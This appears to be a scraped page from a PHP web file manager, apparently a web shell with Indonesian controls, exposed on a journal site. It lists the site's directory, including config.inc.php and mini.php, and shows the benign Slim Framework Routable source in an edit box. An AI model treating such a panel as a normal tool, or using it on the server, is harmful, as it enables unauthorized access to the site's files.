File Manager
Upload
Current Directory: /home/lartcid/public_html/journal.lartc.id
[Back]
..
[Open]
Hapus
Rename
.htaccess
[Edit]
Hapus
Rename
.well-known
[Open]
Hapus
Rename
README.md
[Edit]
Hapus
Rename
api
[Open]
Hapus
Rename
cache
[Open]
Hapus
Rename
cgi-bin
[Open]
Hapus
Rename
classes
[Open]
Hapus
Rename
config.TEMPLATE.inc.php
[Edit]
Hapus
Rename
config.inc.php
[Edit]
Hapus
Rename
controllers
[Open]
Hapus
Rename
cypress.json
[Edit]
Hapus
Rename
dbscripts
[Open]
Hapus
Rename
docs
[Open]
Hapus
Rename
error_log
[Edit]
Hapus
Rename
favicon.ico
[Edit]
Hapus
Rename
index.php
[Edit]
Hapus
Rename
js
[Open]
Hapus
Rename
lib
[Open]
Hapus
Rename
locale
[Open]
Hapus
Rename
mini.php
[Edit]
Hapus
Rename
pages
[Open]
Hapus
Rename
php.ini
[Edit]
Hapus
Rename
plugins
[Open]
Hapus
Rename
public
[Open]
Hapus
Rename
registry
[Open]
Hapus
Rename
scheduledTaskLogs
[Open]
Hapus
Rename
schemas
[Open]
Hapus
Rename
styles
[Open]
Hapus
Rename
templates
[Open]
Hapus
Rename
tools
[Open]
Hapus
Rename
Edit File
<?php /** * Slim Framework (https://slimframework.com) * * @license https://github.com/slimphp/Slim/blob/3.x/LICENSE.md (MIT License) */ namespace Slim; use Psr\Container\ContainerInterface; abstract class Routable { use CallableResolverAwareTrait; /** * Route callable * * @var callable */ protected $callable; /** * Container * * @var ContainerInterface */ protected $container; /** * Route middleware * * @var callable[] */ protected $middleware = []; /** * Route pattern * * @var string */ protected $pattern; /** * @param string $pattern * @param callable $callable */ public function __construct($pattern, $callable) { $this->pattern = $pattern; $this->callable = $callable; } /** * Get the middleware registered for the group * * @return callable[] */ public function getMiddleware() { return $this->middleware; } /** * Get the route pattern * * @return string */ public function getPattern() { return $this->pattern; } /** * Set container for use with resolveCallable * * @param ContainerInterface $container * * @return static */ public function setContainer(ContainerInterface $container) { $this->container = $container; return $this; } /** * Prepend middleware to the middleware collection * * @param callable|string $callable The callback routine * * @return static */ public function add($callable) { $this->middleware[] = new DeferredCallable($callable, $this->container); return $this; } /** * Set the route pattern * * @param string $newPattern */ public function setPattern($newPattern) { $this->pattern = $newPattern; } }
Simpan